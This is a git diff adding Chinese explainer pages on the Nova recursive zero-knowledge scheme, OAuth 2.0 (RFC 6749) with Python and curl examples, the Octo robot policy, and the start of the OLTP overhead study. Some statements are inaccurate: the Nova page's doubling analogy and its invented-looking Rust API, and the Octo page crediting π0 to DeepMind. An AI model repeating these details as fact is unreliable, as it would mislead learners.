+- [[websocket-rfc-6455]] — WebSocket 握手后常跑 TLS；自定义协议可在 WS 之上叠 Noise
+- [[quic]] — QUIC 内嵌 TLS 1.3；若做非 Web 的 UDP 服务，可能选 Noise 而非 QUIC+TLS
+- [[ducas-dilithium-2018]] — 后量子签名；Noise 传统上用 ECDH，PQ 扩展在研究与分支实现中
+- [[proverif-2001]] — ProVerif 可验证 Noise 模式，是框架选型的背书之一
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[ducas-dilithium-2018]] —— CRYSTALS-Dilithium — 量子计算机来了也签不掉的数字签名
+- [[proverif-2001]] —— ProVerif — 把密码协议翻成 Prolog 规则让计算机自己证安全
+- [[quic]] —— QUIC — 把可靠传输从内核搬到用户空间
+- [[signal-double-ratchet-2016]] —— Double Ratchet Algorithm — Signal 端到端加密会话的「双棘轮」
+- [[websocket-rfc-6455]] —— WebSocket RFC 6455 — 让浏览器和服务器开一条不挂断的双向电话
+
diff --git a/src/content/docs/papers/nova-folding-2021.md b/src/content/docs/papers/nova-folding-2021.md
new file mode 100644
index 000000000..b25a8b2dd
--- /dev/null
+++ b/src/content/docs/papers/nova-folding-2021.md
@@ -0,0 +1,142 @@
+---
+title: Nova — Recursive Zero-Knowledge Arguments from Folding Schemes
+来源: 'https://eprint.iacr.org/2021/370'
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Nova 是一种**递归零知识证明系统**——它可以把一个"很长的计算过程"压缩成一个**极短的证明**，任何人花很少的时间就能验证。
+
+关键创新在于"递归"：Nova 不是一次性证明整个计算，而是像滚雪球一样，每多算一步就"折叠"一次之前的证明。雪球越来越大，但验证者的工作几乎不变。
+
+日常类比：假设你在证明"我算对了 10000 道加法题"。传统做法是把每道题的答���都列出来——证明很长。Nova 的做法是：你先证明第 1 题对了；然后用第 1 题的证明"折叠"进第 2 题，证明前 2 题都对；再用前 2 题的折叠证明前 4 题……每次只多花很少的功夫，但证明的"覆盖范围"指数增长。最后你只需给验证者看**最后一步的折叠结果**——很短，一秒钟就能验证。
+
+## 术语拆解
+
+| 词 | 什么意思 |
+|---|---|
+| Recursive | 递归：每一步的输出作为下一步的输入，不断嵌套 |
+| Zero-Knowledge | 零知识：验证者只学到"计算确实做对了"，不学到任何中间结果 |
+| Argument | 论证：安全性基于密码学假设（不是数学上绝对证明） |
+| Folding Scheme | 折叠方案：把两个 NP 陈述的检查合并成一个，是 Nova 的基石 |
+
+## 核心概念：折叠方案（Folding Scheme）
+
+折叠方案是 Nova 的心脏。
+
+想象你有两道数学题要检查：
+
+- 题目 A：证明你知道 x 的 sha256 哈希是 h1
+- 题目 B：证明你知道 y 的 sha256 哈希是 h2
+
+折叠方案做一件事：**把 A 和 B 合并成一道新题 C**，而检查 C 等于同时检查了 A 和 B。
+
+用公式说就是：
+
+```
+如果 (proof_a 证明 statement_a 成立) 且 (proof_b 证明 statement_b 成立)，
+那么 (folded_proof 证明 (statement_a + statement_b) 成立)。
+```
+
+这个 "+" 不是算术加法，而是"两个陈述的串联"。
+
+Nova 的独特之处在于：它在**两条不同的椭圆曲线**之间交替使用折叠方案（称为"曲线循环"，curve cycle）。一条曲线的验证密钥可以作为下一条曲线的输入，形成无限循环——这就是递归的来源。
+
+## 工作流程
+
+Nova 的步骤（用代码方式理解）：
+
+### 1. 定义电路
+
+你首先要描述要计算的"电路"（circuit）——就是你要证明的计算逻辑：
+
+```rust
+// 这是一个简单的电路：计算 Fibonacci 数列的第 n 项
+// 证明者知道 (a, b) 使得 b = fib(n)，且 (a, b) 满足某个秘密条件
+
+fn step((a, b): &Point, n: u64) -> (Point, Point) {
+    // 每一步：a = a + b, b = a (新的)
+    let new_a = a + b;
+    let new_b = a;
+    (new_a, new_b)
+}
+
+// Nova 要求电路以"增量"方式运行：
+// 给定上一步的状态 + 证明，产出下一步的状态 + 新的证明
+```
+
+### 2. 参数设置
+
+```rust
+// 设置：定义电路和曲线循环（Pallas/Vesta）
+let circuit = MyCircuit::new();
+let pp = PublicParams::setup(
+    &circuit,
+    &PallasConfig,   // 第一条曲线
+    &VestaConfig,    // 第二条曲线（循环返回）
+);
+```
+
+### 3. 生成证明（Prover）
+
+```rust
+// 第 0 步：初始状态
+let mut public_input = PublicInput::default();
+let mut proof = StepCircuitProof::initial();
+
+// 循环 n 步——每步折叠一次
+for i in 0..n {
+    // 输入：上一步的证明 + 当前输入
+    // 输出：更新后的证明（覆盖前 i+1 步）
+    proof = circuit.prove_step(&pp, &public_input, &proof, input(i));
+}
+```
+
+注意：每一步的证明**不会无限膨胀**。因为折叠方案把之前的证明"压缩"进去了。
+
+### 4. 验证（Verifier）
+
+```rust
+// 验证者不需要知道任何中间计算
+// 只需要：最终证明 + 初始状态 + 最终状态
+let is_valid = pp.verify(&proof, &final_public_input);
+
+if is_valid {
+    // 验证通过！前 n 步全部正确执行
+    // 花费：约 10000 个乘法门的计算量
+    // 与 n 的大小几乎无关！
+}
+```
+
+## 为什么 Nova 很厉害
+
+对比之前的递归证明系统（如 Groth, Maller, Sethi 等），Nova 有三个显著特点：
+
+1. **最简单的递归证明系统**：结构干净，只有折叠方案 + 曲线循环
+2. **最快的 Prover**：每一步的证明时间接近线性，比之前的方案快数倍
+3. **最小的 Verifier 电路**：约 10000 个乘法门，常数大小——不管计算多长，验证者工作量不变
+
+这 10000 门是什么概念？以太坊 L1 上一个合约最多能有约 2400 万个门——Nova 的验证者电路只占不到 1%，在链上验证的成本可以忽略。
+
+## 应用场景
+
+| 场景 | Nova 解决什么 |
+|---|---|
+| zkRollup | 每笔交易生成证明，递归折叠——最终只在 L1 提交一个证明 |
+| 可验证延迟函数 (VDF) | 证明"我确实等了 N 秒"而不暴露中间状态 |
+| 虚拟机执行证明 | 证明"这段 EVM 代码确实按预期执行了" |
+| 可扩展区块链 | 节点只需验证常数大小的证明即可信任链的状态 |
+
+## 局限
+
+- **可信设置**：部分变体（HyperKZG / Mercury）需要 "powers of tau" 仪式
+- **证明生成仍然重**：虽然快于前人，但每一步仍需在曲线上做大量椭圆曲线运算
+- **仅原生支持 Bellman 电路**：Circom 等前端需额外桥接
+
+## 一句话总结
+
+Nova 用"折叠"代替"堆叠"：把 n 步计算压缩成一个证明，验证者花常数时间就能确认全部正确——这是目前最快的递归零知识证明方案之一。
diff --git a/src/content/docs/papers/oauth2-rfc6749.md b/src/content/docs/papers/oauth2-rfc6749.md
new file mode 100644
index 000000000..7b128714c
--- /dev/null
+++ b/src/content/docs/papers/oauth2-rfc6749.md
@@ -0,0 +1,264 @@
+---
+title: OAuth 2.0 Authorization Framework (RFC 6749) — 不用把密码交给第三方，也能授权访问
+来源: https://datatracker.ietf.org/doc/html/rfc6749
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+OAuth 2.0 是一套**授权框架**：让第三方应用在**不拿到你的账号密码**的前提下，获得对你某部分资源的**有限、可撤销、有时效**的访问权。日常类比：酒店前台给你一张**只能开 1208 房、只能到明天中午**的房卡——你并没有把身份证和密码交给保洁公司，保洁凭房卡进房间，房卡到期或你挂失就失效。
+
+RFC 6749（2012 年 10 月发布，Hardt 编辑）定义了这套框架的**角色、端点、四种标准授权类型（grant type）和 token 交换规则**。它刻意是「框架」而非完整产品：很多细节（token 格式、用户登录 UI、权限粒度）留给实现方和后续扩展规范（如 OpenID Connect、PKCE、Bearer Token Usage）。
+
+**OAuth 解决的是授权（Authorization），不是认证（Authentication）。** 「这个用户是谁」通常要叠 OpenID Connect 的 `id_token` 或自建 session；「这个应用能不能读我的相册」才是 OAuth 的本职。
+
+## 为什么重要
+
+不理解 RFC 6749，现代 Web 登录会全是黑盒：
+
+- 为什么「用 Google / GitHub 登录」页面会跳转到 `accounts.google.com`，而不是在你自己的站点输密码
+- 为什么后端 API 验的是 `Authorization: Bearer eyJ...` 而不是用户名密码
+- 为什么 SPA 和移动 App 不能照搬服务端「机密客户端 + client_secret」同一套做法
+- 为什么 `access_token` 泄露和 `refresh_token` 泄露后果不同——前者通常短效，后者能续命
+- 为什么安全审计会问「你们有没有用 Implicit、Password Grant」——RFC 6749 里合法，但现代最佳实践已淘汰或限用
+
+OAuth 2.0 是**事实上的互联网授权标准**：GitHub、Google、Microsoft、Slack、Notion 的第三方集成，底层都是这套四角色 + token 模型。
+
+## 四个角色
+
+RFC 6749 把参与方固定成四个角色（记住这张图，后面所有 flow 都是它们的组合）：
+
+| 角色 | 英文 | 日常类比 |
+|------|------|----------|
+| 资源所有者 | Resource Owner (RO) | 你——能决定是否授权的人 |
+| 客户端 | Client | 第三方 App（打印服务、CI 工具、手机 App） |
+| 授权服务器 | Authorization Server (AS) | 酒店前台——验你是谁、发房卡 |
+| 资源服务器 | Resource Server (RS) | 1208 房间门锁——只认房卡，不管你怎么拿到的 |
+
+协议主流程（RFC 6749 Section 1.2 的 ASCII 图）可以概括为六步：
+
+```
+(A) Client → RO：发起授权请求（通常经浏览器跳转）
+(B) RO → Client：同意则带回 Authorization Grant（授权凭证）
+(C) Client → AS：用 Grant 换 Access Token
+(D) AS → Client：签发 Access Token（可选 Refresh Token）
+(E) Client → RS：带 Access Token 访问受保护资源
+(F) RS → Client：返回资源或拒绝
+```
+
+**关键设计**：Client 访问资源时用的是 **Access Token**，不是 RO 的长期凭证（密码）。Token 带 **scope**（权限范围）和 **lifetime**（有效期），RO 可在 AS 侧撤销。
+
+## 两个核心端点
+
+实现 OAuth 提供方时，至少要暴露两类 HTTP 端点：
+
+1. **Authorization Endpoint**（授权端点）：面向**用户浏览器**，RO 在这里登录并点「同意授权」。成功则 **redirect** 回 Client 注册的 `redirect_uri`，带上 `code` 或（Implicit 下）`access_token`。
+2. **Token Endpoint**（令牌端点）：面向 **Client 后端**（或受控环境），用 grant + 客户端凭证换 token。必须走 **POST**，且 AS 应要求 Client 认证（对机密客户端）。
+
+Client 注册时 AS 会分配：
+
+- `client_id`：公开标识，可出现在 URL 里
+- `client_secret`：仅**机密客户端**持有，绝不能进浏览器或移动 App 安装包
+
+Client 分两类（Section 2.1）：
+
+- **Confidential**：能保密凭证——传统 Web 服务端、后台 job
+- **Public**：无法保密——SPA、原生 App、CLI 装在别人机器上
+
+## 四种标准 Grant Type
+
+RFC 6749 Section 4 定义四种 grant，现代选型大致如下：
+
+| Grant | 典型场景 | RFC 6749 地位 | 现代建议 |
+|-------|----------|---------------|----------|
+| Authorization Code | Web / 移动 App 代用户访问 | 首选通用 flow | 仍首选；配合 PKCE（RFC 7636，6749 之后） |
+| Implicit | 纯浏览器 JS，token 经 redirect fragment 返回 | 曾用于 SPA | OAuth 2.1 已废弃；改用 Code + PKCE |
+| Resource Owner Password | 高度信任的一方 App 直接用用户名密码换 token | 存在 | 仅限遗留/第一方；新系统避免 |
+| Client Credentials | 机器对机器，无 RO | 存在 | Cron、微服务间调用仍常用 |
+
+下面重点展开**最常用**的 Authorization Code 和 **Client Credentials**。
+
+### Authorization Code Flow
+
+适合：第三方 Web 应用要读你的 GitHub 仓库、Google 日历等。
+
+时序：
+
+1. Client 把用户浏览器重定向到 AS：
+   `GET /authorize?response_type=code&client_id=...&redirect_uri=...&scope=read&state=xyz`
+2. RO 在 AS 登录并同意 scope
+3. AS 302 到 `redirect_uri?code=AUTH_CODE&state=xyz`
+4. Client **后端**用 code 换 token（`grant_type=authorization_code`），带上 `client_secret`（机密客户端）
+5. AS 返回 JSON：`access_token`、`token_type`（通常是 Bearer）、`expires_in`、可选 `refresh_token`
+
+**为什么多一步 code？** Code 只走浏览器 redirect，**Access Token 只在 Client 与 AS 的服务端通道出现**，避免 token 泄露给浏览器历史、Referer 或恶意 JS。这是 6749 相对旧 Implicit 的核心安全改进。
+
+`state` 参数：Client 生成的随机串，AS 原样带回，用于防 **CSRF**——确保回调确实对应当初那次授权请求。
+
+### Client Credentials Flow
+
+适合：定时任务拉取内部 API、两个微服务之间调用，**没有终端用户**。
+
+Client 用自己的 `client_id` + `client_secret` 直接向 Token Endpoint 要 token，`scope` 表示它能做什么。RO 不参与。
+
+## Scope、Token 与 Refresh
+
+- **Scope**：空格分隔的权限字符串（如 `read:photos write:albums`）。AS 在同意页展示；RS 根据 token 内 scope 决定放行哪些 API。6749 **不规定** scope 语义——各 AS/RS 自行约定。
+- **Access Token**：opaque 字符串或 JWT 均可，6749 不限格式；RS 验 token 有效性与 scope。
+- **Refresh Token**：可选的长效凭证，用来在 Access Token 过期后静默续期，不必再打扰 RO 点同意。Refresh Token 必须**更安全地存储**（仅服务端、Keychain 等）。
+
+Bearer Token 的 HTTP 用法在 **RFC 6750**（OAuth 2.0 Bearer Token Usage）里规定，6749 只负责「怎么签发」。
+
+## 实践案例
+
+### 案例 1：Authorization Code — 浏览器跳转 + 后端换 token
+
+**Step 1 — 构造授权 URL（Client 服务端或模板渲染）：**
+
+```python
+from urllib.parse import urlencode
+import secrets
+
+state = secrets.token_urlsafe(16)
+# 存入 session，回调时比对
+
+params = urlencode({
+    "response_type": "code",
+    "client_id": "my-web-app",
+    "redirect_uri": "https://app.example.com/oauth/callback",
+    "scope": "repo:read user:email",
+    "state": state,
+})
+auth_url = f"https://github.com/login/oauth/authorize?{params}"
+# 302 用户到 auth_url
+```
+
+**Step 2 — 回调处理，用 code 换 token（必须在服务端，带 secret）：**
+
+```python
+import httpx
+
+async def exchange_code(code: str) -> dict:
+    resp = await httpx.AsyncClient().post(
+        "https://github.com/login/oauth/access_token",
+        headers={"Accept": "application/json"},
+        data={
+            "grant_type": "authorization_code",
+            "code": code,
+            "redirect_uri": "https://app.example.com/oauth/callback",
+            "client_id": "my-web-app",
+            "client_secret": os.environ["OAUTH_CLIENT_SECRET"],
+        },
+    )
+    resp.raise_for_status()
+    return resp.json()
+    # {"access_token": "...", "token_type": "bearer", "scope": "repo,read:user"}
+```
+
+**Step 3 — 用 Access Token 调资源 API：**
+
+```python
+headers = {"Authorization": f"Bearer {tokens['access_token']}"}
+user = await httpx.AsyncClient().get(
+    "https://api.github.com/user", headers=headers
+)
+```
+
+整条链：**密码从未离开 GitHub；你的 App 只拿到有限 scope 的 token；用户可在 GitHub 设置里撤销授权。**
+
+### 案例 2：Client Credentials — 机器对机器
+
+夜间 ETL 任务要从内部 `metrics-api` 拉数据，没有用户点击「同意」：
+
+```bash
+curl -s -X POST https://auth.example.com/oauth/token \
+  -H "Content-Type: application/x-www-form-urlencoded" \
+  -d "grant_type=client_credentials" \
+  -d "client_id=etl-nightly" \
+  -d "client_secret=${ETL_SECRET}" \
+  -d "scope=metrics:read"
+```
+
+典型响应：
+
+```json
+{
+  "access_token": "eyJhbGciOiJSUzI1NiIs...",
+  "token_type": "Bearer",
+  "expires_in": 3600,
+  "scope": "metrics:read"
+}
+```
+
+Job 在 `expires_in` 秒内向 RS 发请求：
+
+```bash
+curl -s https://metrics-api.example.com/v1/daily \
+  -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIs..."
+```
+
+无 `refresh_token`——过期后重新用 client 凭证换即可。
+
+### 案例 3：Public Client（SPA）在 6749 时代的 Implicit（了解即可）
+
+RFC 6749 Section 4.2 规定 Implicit：`response_type=token`，token 出现在 redirect **fragment**（`#access_token=...`），不经过 Client 后端。
+
+```
+https://app.example.com/callback#access_token=TOKEN&token_type=Bearer&expires_in=3600
+```
+
+浏览器 JS 读 `location.hash` 取 token。**问题**：token 暴露在浏览器、Referer、前端日志；无法做 confidential 认证。因此 **OAuth 2.1 / 当前最佳实践** 要求 SPA 改用 **Authorization Code + PKCE**，不再新建 Implicit 集成。读 6749 时要知道 Implicit **在标准里存在**，但新项目不应选它。
+
+## 安全要点（RFC 6749 Section 10 摘要）
+
+1. **HTTPS  everywhere**：授权端点、token 端点、redirect_uri 必须 TLS（本地 loopback 除外需格外小心）。
+2. **精确匹配 redirect_uri**：AS 必须白名单校验，防 open redirect 偷 code。
+3. **勿把 client_secret 放进前端**：Public Client 用 PKCE 代替（7636）。
+4. **state 防 CSRF**；Authorization Code 应**一次性、短有效期**。
+5. **最小 scope**：只申请业务必需权限。
+6. **Refresh Token 比 Access Token 更敏感**：泄露等于长期后门。
+
+6749 原文 Security Considerations 仍是实现与审计的必读章节。
+
+## 与周边规范的关系
+
+RFC 6749 是「树干」，常见「树枝」：
+
+| 规范 | 作用 |
+|------|------|
+| RFC 6750 | Bearer Token 在 HTTP 里怎么带 |
+| RFC 7636 (PKCE) | Public Client 防 code 拦截 |
+| OpenID Connect | 在 OAuth 之上标准化「认证」与 `id_token` |
+| JWT (RFC 7519) | 常作为 Access Token 的自包含格式（非 6749 要求） |
+| OAuth 2.1 草案 | 收敛最佳实践：废 Implicit/Password，默认 PKCE |
+
+学 6749 是读这些扩展的**前提**——角色、grant、端点名词在各文档里保持一致。
+
+## 踩过的坑
+
+1. **把 OAuth 当登录协议**：只拿 `access_token` 无法可靠知道「用户是谁」；要 OIDC 的 `openid` scope + `id_token`，或自己用 token 调 `/userinfo` 再建 session。
+2. **SPA 照搬服务端 Code Flow 却不做 PKCE**：`client_secret` 无法保密时，code 被截获即可换 token。
+3. **redirect_uri 少写一个 trailing slash**：注册 `https://app/callback` 回调却是 `https://app/callback/` → AS 直接拒绝。
+4. **Implicit 的 token 进服务器日志**：nginx access log 可能记 full URL fragment 前的 path；更糟的是把 token 写进 `localStorage` 被 XSS 一锅端。
+5. **不校验 `state`**：攻击者把自己的 code 绑到你的 session，造成 **会话固定 / CSRF**。
+6. **Password Grant 图省事**：把用户密码 POST 给第三方 Client，违背 OAuth 初衷；仅遗留第一方场景可接受。
+
+## 自测题
+
+1. 四个角色分别是什么？Client 和 Authorization Server 能不能是同一套软件（同一公司）？
+2. Authorization Code 为什么比 Implicit 更适合机密 Web 应用？
+3. `scope`、`access_token`、`refresh_token` 各解决什么问题？
+4. Client Credentials 适用什么场景？为什么没有 refresh token 也常见？
+5. 若只做「Social Login」，6749  alone 够吗？还需要什么？
+
+## 进一步阅读
+
+- [RFC 6749 原文](https://datatracker.ietf.org/doc/html/rfc6749) — 框架定义与 Security Considerations
+- [RFC 6750 Bearer Token Usage](https://datatracker.ietf.org/doc/html/rfc6750)
+- [RFC 7636 PKCE](https://datatracker.ietf.org/doc/html/rfc7636)
+- [OAuth 2.0 Simplified](https://www.oauth.com/oauth2-servers/) — 实现导向的教程站
+- [OAuth 2.1 Draft](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-11) — 现代 profile 收敛
diff --git a/src/content/docs/papers/octo-2024.md b/src/content/docs/papers/octo-2024.md
new file mode 100644
index 000000000..acdb03faa
--- /dev/null
+++ b/src/content/docs/papers/octo-2024.md
@@ -0,0 +1,208 @@
+---
+title: Octo — 一个开源的通用机器人策略大模型
+来源: https://arxiv.org/abs/2405.12213
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Octo 是 2024 年由 Berkeley（RAIL）、Stanford、CMU 和 Google DeepMind 联合提出的**通用机器人策略（Generalist Robot Policy, GRP）**：用一个 Transformer 架构的扩散模型，在 80 万条来自 25 个不同机器人的轨迹数据上预训练，得到一个**能听懂语言指令、能看懂目标图像、能控制多种机械臂**的通用模型。
+
+日常类比：
+
+想象你培养了一位**机器人领域的全科医生**——他不是在一家医院（一种机器人）里只学会了做一种手术（一个任务），而是在几十家不同的医院（不同品牌机械臂、不同摄像头配置、不同夹爪类型）实习过，见过几百种病人的症状（抓取、折叠、冲泡咖啡……）。现在把你自家的机器人带给他看病，他不需要从零学起，只要看几天你家的设备，就能上手干活。
+
+- RT-1 / RT-2 是 Google 闭源的 VLA 路线（模型 2.6B ~ 550 亿参数）
+- Octo 是**开源可复现**的路线，提供 2700 万参数的 Octo-Small 和 9300 万参数的 Octo-Base，性能媲美甚至超过 RT-1-X
+
+## 为什么重要
+
+不理解 Octo，就理解不了 2024 年后机器人领域的一个根本变化：**从"为每个机器人单独训练"到"预训练一个通用策略，微调即插即用"**。
+
+1. **打破机器人"碎片化"的诅咒**：过去每种机械臂（UR5、Franka、 WidowX）都要单独训练，Octo 统一处理不同传感器和动作空间
+2. **证明了"数据量 > 模型规模"在机器人领域的力量**：Octo-Base 仅 93M 参数，零样本性能超过 RT-1-X（2.6B 参数）
+3. **开源生态的标杆**：模型权重、训练代码、微调脚本全部开源，任何人可以在消费级 GPU 上复现
+
+## 核心概念
+
+### 1.  Transformer + 扩散策略（Diffusion Policy）
+
+Octo 的骨干是 **Transformer 编码器**，输入是图像 token + 语言 token，输出不是直接的动作值，而是**扩散模型生成的动作分布**。
+
+类比：普通策略像直接给出答案（"手臂往右移动 3cm"），扩散策略像"先画一个模糊的影子，逐步细化到精确位置"。扩散模型允许模型输出**多模态的动作分布**——比如"往左一点"和"往前一点"都是合理的，扩散模型可以同时表达这两种可能性。
+
+### 2.  跨具身统一表示（Cross-Embodiment Unified Representation）
+
+25 个数据集来自 7 种不同的机器人平台（Franka、UR5、WidowX、Mobile ALOHA 等），每种机器人的动作维度、摄像头数量、传感器类型都不一样。Octo 的做法是：
+
+- **图像**：用 ViT 编码为固定数量的 visual tokens
+- **语言**：用预训练 tokenizer 编码为 language tokens
+- **动作**：归一化到 [-1, 1] 区间，用 position-based encoding 处理不同维度
+- **遮挡掩码（pad_mask）**：告诉模型哪些传感器数据缺失（比如某些数据集没有腕部摄像头，某些没有语言标签）
+
+### 3.  Action Chunking（动作分块）
+
+Octo 一次预测**未来 4 步的动作**（chunk size = 4），而不是每一步单独预测。这类似你走路时不会每毫秒重新计算脚踩在哪——你一次性规划接下来几步的路径。
+
+### 4.  高效微调（Efficient Fine-tuning）
+
+Octo 设计了三种微调模式，像旋钮一样控制"冻结多少参数"：
+
+| 模式 | 冻结范围 | 适合场景 |
+|------|---------|---------|
+| `head_only` | 只训练动作读出头 | 新任务，同种机器人 |
+| `head_mlp_only` | 冻结 Transformer，只训练读出头 MLP | 新传感器输入 |
+| `full` | 全参数微调 | 全新动作空间 / 全新机器人 |
+
+## 架构分解
+
+```
+用户指令: "pick up the red block"
+目标图像: [一张红色方块的图片]
+
+                    ┌─────────────────────────────────┐
+                    │         Octo 模型                │
+                    │                                  │
+  摄像头图像 ────→ [ViT Encoder] ──── 视觉 tokens ────┤
+                                                    ▼
+  语言指令 ────→ [Tokenizer] ──── 语言 tokens ──────→ [Transformer Blocks]
+                                                    ▼
+                                                    → [Diffusion Head]
+                                                    ▼
+  输出: [move_x, move_y, move_z, rotate, grasp] × 4 steps
+```
+
+## 代码示例
+
+### 示例 1：加载预训练模型并推理
+
+这是官方仓库的"Hello World"，只需要 4 行：
+
+```python
+from octo.model.octo_model import OctoModel
+
+# 从 HuggingFace 加载预训练模型（Base 版，93M 参数）
+model = OctoModel.load_pretrained("hf://rail-berkeley/octo-base-1.5")
+
+# 查看模型支持的输入输出规范
+print(model.get_pretty_spec())
+# Observation spaces: {'image': (256, 256, 3), 'language_instruction': (None,)}
+# Action space: (-1, 1) normalized 7-dim actions
+
+# 创建任务：用自然语言描述
+task = model.create_tasks(texts=["pick up the spoon"])
+
+# 给定当前观测，采样动作
+# observation 是来自机器人摄像头 + 本体感觉的字典
+actions = model.sample_actions(
+    observation=observation,
+    task=task,
+    rng=jax.random.PRNGKey(0)
+)
+# actions 形状: (4, 7) — 预测接下来 4 步，每步 7 个动作维度
+```
+
+### 示例 2：用目标图像作为条件（而非语言）
+
+Octo 支持**目标图像（goal image）**输入——告诉模型"我想让机器手到达什么状态"：
+
+```python
+# 用一张"目标状态"的图像作为条件
+task = model.create_tasks(
+    image_cond=np.array(goal_image),  # 目标状态的摄像头截图
+)
+
+# 也可以用语言 + 图像组合
+task = model.create_tasks(
+    texts=["place the cup on the table"],
+    image_cond=np.array(goal_image),
+)
+```
+
+论文发现：在 WidowX 平台上，用目标图像代替语言指令，**平均成功率提升 25%**——因为图像比文字提供了更多关于"精确位置"的信息。
+
+### 示例 3：微调到新任务（新传感器 + 新动作空间）
+
+这是 Octo 最强大的能力——同时适应**新传感器（力觉反馈）**和**新动作空间（关节角度控制）**：
+
+```python
+# 启动微调（使用官方 finetune 脚本）
+!python scripts/finetune.py \
+    --config.pretrained_path=hf://rail-berkeley/octo-small-1.5 \
+    --config=finetune_config.py:full,multimodal \
+    --config.dataset_kwargs.oxe_kwargs.data_dir=/path/to/my/dataset \
+    --config.dataset_kwargs.oxe_kwargs.data_mix=my_task \
+    --config.train_steps=5000
+```
+
+其中：
+- `full` = 全参数微调
+- `multimodal` = 同时使用语言和图像条件
+- 通常 **100 条演示数据 + 消费级 GPU 上几个小时** 就能得到一个可用的策略
+
+## 实验结果速览
+
+### 零样本（无需微调）
+
+在预训练数据中出现过的环境中，直接运行：
+
+| 模型 | WidowX | UR5 | RT-1 Robot |
+|------|--------|-----|------------|
+| RT-1-X (2.6B) | 20% | 35% | 60% |
+| RT-2-X (55B) | 50% | — | 85% |
+| **Octo-Base (93M)** | **50%** | **70%** | **80%** |
+
+93M 参数的 Octo 在三个平台上的表现都接近甚至超过 550 亿参数的 RT-2-X。
+
+### 微调后
+
+在 6 个全新任务上微调（每个任务约 100 条演示数据）：
+
+| 模型 | 平均成功率 |
+|------|-----------|
+| 从头训练 | 20% |
+| VC-1 | 15% |
+| **Octo-Base** | **72%** |
+
+Octo 比下一个最佳基线高出 52%。关键是：**所有任务使用完全相同的微调配置**，说明这是一个稳健的默认方案。
+
+## 训练数据：Open X-Embodiment
+
+Octo 训练用的数据集叫 **Open X-Embodiment (OXE)**，是迄今为止最大的机器人操作数据集：
+
+- **25 个数据集**，覆盖 7 种机器人平台
+- **80 万条轨迹**，总大小约 1.2TB
+- 数据来源：Berkeley、CMU、Stanford、Google DeepMind 等 4 个机构
+- 数据类型多样：有的只有单目摄像头，有的有双目 + 腕部摄像头；有的有语言标签，有的没有
+
+关键洞察：不同数据集之间**异构性极强**（摄像头数量不同、动作空间不同、有没有语言标签也不同），但 Octo 通过 `pad_mask` 机制优雅地处理了这个问题。
+
+## 设计决策的关键 ablation
+
+论文做了大量消融实验，以下是几个重要发现：
+
+1. **语言 token 重复**：把语言指令重复到历史窗口中的每一步（而不是只出现在第一步），跨注意力效果更好
+2. **语言数据增强**：用 GPT-3.5 对原始语言指令做重述（rephrasing），让模型学到更鲁棒的语言理解
+3. **扩散头关闭 dropout**：在扩散解码头上去掉 dropout，因为和 LayerNorm 不兼容，关掉后训练稳定性显著提升
+4. **历史窗口大小 = 2**：用当前帧 + 上一帧的信息做决策，比只用单帧效果好
+
+## 局限
+
+- **仅适用于抓取操作**：目前只覆盖 table-top manipulation，不涉及走路、飞行等
+- **需要归一化动作空间**：所有动作必须映射到 [-1, 1]，对连续动作空间友好，离散动作需要特殊处理
+- **推理速度受限**：扩散模型的迭代去噪意味着推理较慢，93M 参数模型在 4090 上约 13 it/sec
+- **没有世界模型**：Octo 不预测"接下来环境会怎样变化"，只根据当前观测输出动作
+
+## 后续发展
+
+Octo 开源后催生了一批跟进工作：
+- **Octo-Server**：提供 HTTP API 的 Octo 部署方案
+- **OpenVLA**：另一种开源 VLA 路线（基于动作分词，而非扩散）
+- **π0 (Pi-0)**：DeepMind 的开源通用策略，架构更简洁
+
+## 一句话总结
+
+> Octo 证明了一件简单却有力的事：**用足够多的多样数据训练一个中等大小的 Transformer，可以让它变成一个"机器人通用接口"——你换一种机器人、换一个任务、加几个传感器，微调几小时就能适配，不需要从零开始。**
diff --git a/src/content/docs/papers/oltp-looking-glass.md b/src/content/docs/papers/oltp-looking-glass.md
new file mode 100644
index 000000000..923577814
--- /dev/null
+++ b/src/content/docs/papers/oltp-looking-glass.md
@@ -0,0 +1,288 @@
+---
+title: OLTP Through the Looking Glass — 传统数据库的 20 倍开销从哪来
+来源: 'Harizopoulos et al., "OLTP Through the Looking Glass, and What We Found There", SIGMOD 2008'
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：给超市收银台套四层「合规外套」
+
+想象你在一家连锁超市当收银员。真正的工作只有三步：查价、改库存、打小票。按理说每单十几秒就能搞定。
+
+但公司规定你必须穿四层外套：
+
+1. **日志外套（Logging）**：每动一次货架，先在中央账本写一条「谁、何时、改了什么」，还要给货架贴序列号（LSN），确保账本和货架永远对得上。
+2. **锁外套（Locking）**：改某个 SKU 前，向总部锁管理器申请「这条记录归我改」；改完再释放。申请、登记、释放都要走流程。
+3. **闩锁外套（Latching）**：打开共享抽屉（B-tree 页、缓冲池）前，先拿闩锁；多人不能同时翻同一页。
+4. **缓冲池外套（Buffer Management）**：数据明明全在内存里，读写仍要经过「页 ID → 缓冲帧 → 页内偏移」三层间接寻址，像明明东西在桌上，却必须先登记进仓库再取出来。
+
+论文作者（Stavros Harizopoulos、Daniel Abadi、Samuel Madden、Michael Stonebraker）把开源数据库 **Shore** 当作这家「穿四层外套的超市」，在 **TPC-C** 子集上逐层剥外套，量每剥一层 CPU 指令数变化。结论惊人：**真正干活的指令只占约 1/60**；剥完四大组件后吞吐从约 **640 TPS 提到约 12,700 TPS（约 20×）**。这篇 SIGMOD 2008 论文直接催生了 **H-Store / VoltDB** 等「去传统包袱」的 OLTP 路线。
+
+---
+
+## 是什么
+
+**OLTP Through the Looking Glass** 不是提出一个新存储引擎，而是一次 **解剖式性能实验**：
+
+- **对象**：Shore Storage Manager（威斯康星大学 1990 年代的开源 OLTP 存储层，设计继承 Gray & Reuter 经典事务处理与 ARIES 恢复）。
+- **负载**：TPC-C 的 **New Order** 与 **Payment** 两种事务（约 90% 生产流量形态），5 个 warehouse、约 500MB 数据 **全部预载内存**、**单线程**、无磁盘 I/O 争用。
